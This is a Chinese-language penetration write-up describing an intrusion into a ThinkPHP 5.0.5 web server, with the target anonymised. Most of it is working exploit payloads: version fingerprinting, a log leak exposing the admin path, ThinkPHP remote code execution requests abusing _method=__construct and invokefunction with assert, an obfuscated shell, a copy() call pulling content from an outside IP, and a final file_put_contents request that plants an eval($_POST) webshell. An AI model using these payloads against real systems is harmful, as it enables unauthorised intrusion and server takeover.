注:
目标url已经替换成127.0.0.1脱敏
笔者还没有研究过thinkphp漏洞,暂时只会POC一把梭。
大部分情况下都能梭哈,但今天的这个场景却是对thinkphp的POC有一定了解才能做出的突破。
以下信息只记录了关键的信息和思路流程。
已知信息及限制
版本:thinkphp 5.0.5
php:5.6.40
disable_functions:
passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
open_basedir: /www/wwwroot/abc/:/tmp/
路径扫描
"1","http://127.0.0.1/public/","403"
"2","http://127.0.0.1/public/shop/","403"
"3","http://127.0.0.1/public/uploads/","403"
正式开始
1.报错显版本
在URL后面随便输入字符发现thinkphp报模块不存在,根据报错信息判断出是thinkphp 5.0.5
http://127.0.0.1/''
2.日志泄露后台
127.0.0.1/runtime/log/202102/19.log
通过翻看日志文件记录的信息查看到后台地址
3.尝试代码执行
两种代码执行poc测试
post请求
127.0.0.1/?s=index/index
_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=phpinfo
可以看到phpinfo
get请求
127.0.0.1/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()
通过百度thinkphp的所有POC,找到两条执行代码,成功查看到phpinfo的信息,并得到disable_functions:
和open_basedir:
的内容,没有禁用assert函数
4.尝试命令执行
_method=__construct&method=GET&filter[]=system&get[]=whoami
提示system() has been disabled for security reasons 也就是system函数被禁用了
其实通过phpinfo函数已经知道被禁用了,/www/wwwroot
这个路径一般是宝塔常用的,宝塔不用多说,它的disable_functions的函数列表还是非常有名的
5.尝试写shell
第一次尝试失败
我们可以这样通过thinkphp\library\think\Build::module
调用这个类的静态方法module,来实现写文件的操作
_method=__construct&method=get&filter[]=think\Build::module&get[0]=test
_method=__construct&method=get&filter[]=think\Build::module&filter[]=error_reporting&get../public/test&get[]=test;eval($_POST[a]);#/../../public/tests;
_method=__construct&method=get&filter[]=think\Build::module&get[]=test//../../public//?><?php eval($_GET[a]);?>
mkdir(): No such file or directory
第二次尝试失败
127.0.0.1/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=12345.php&vars[1][1]=<?php $poc ="axsxsxexrxt";$poc_1 = explode("x", $poc);
$poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3]. $poc_1[4]. $poc_1[5];$poc_2(urldecode(urldecode(urldecode($_REQUEST['12345']))));
?>
提示file_put_contents(12345.php): failed to open stream: Permission denied 也就是没有权限
第三次尝试失败
127.0.0.1/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=copy('http://124.244.108.128/','test.php')
提示assert(): Failure evaluating code:copy(\'http://124.244.108.128/\',\'test.php\')
发现单引号被转义了,双引号也被转义
第四次尝试失败
写日志,包含日志 getshell 。payload如下:
写shell进日志
_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['x'])?>
通过日志包含getshell
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../data/runtime/log/201901/21.log&x=phpinfo();
提示call_user_func() expects parameter 1 to be a valid callback, function '<?php eval($_POST['x'])?>' not found or invalid function name
把call_user_func
换成assert
函数
_method=__construct&method=get&filter[]=assert&server[]=phpinfo&get[]=<?php eval($_POST['x'])?>
提示assert(): Failure evaluating code:
<?php eval($_POST['x'])?>
被转义了
第五次尝试失败
127.0.0.1/?s=index/index
s=file_put_contents('./fec.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
提示file_put_contents(./fec.php): failed to open stream: Permission denied
第六次请教大佬,尝试成功
看大佬一番操作后成功突破限制拿到webshell,但恰恰低头看了一眼手机就错过了上传shell的poc。只知道大佬的shell上传到public目录了,为什么传到这里呢?
无奈只好继续尝试,回顾了这几次尝试,想起来写shell的方法就那么几个,用第五次来说。尝试的poc应该是写到当前目录,即/www/wwwroot/abc/目录。
也就是说可能是提示只有当前目录没有权限写入,那其他目录呢,如前面扫目录出来的/www/wwwroot/abc/public目录
s=file_put_contents('./public/.sys1.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
执行后成功提示Use of undefined constant __construct - assumed '__construct' 报错是跟我最后一眼见到大佬屏幕的显示是一样的
然后访问到127.0.0.1/public/.sys1.php 页面返回phpinfo页面,说明写入成功了
那么将phpinfo()换成一句话木马eval($_POST[1]); 即可成功getshell
s=file_put_contents('./public/.sys1.php','<?php eval($_POST[1]);')&_method=__construct&method=POST&filter[]=assert
shell的权限是www权限,不能执行命令,尝试用蚁剑的bypass_disable_function也没有绕过,经过大佬指点用哥斯拉成功绕过宝塔的目录限制
- 至此本次目标渗透结束,又get到一个技能点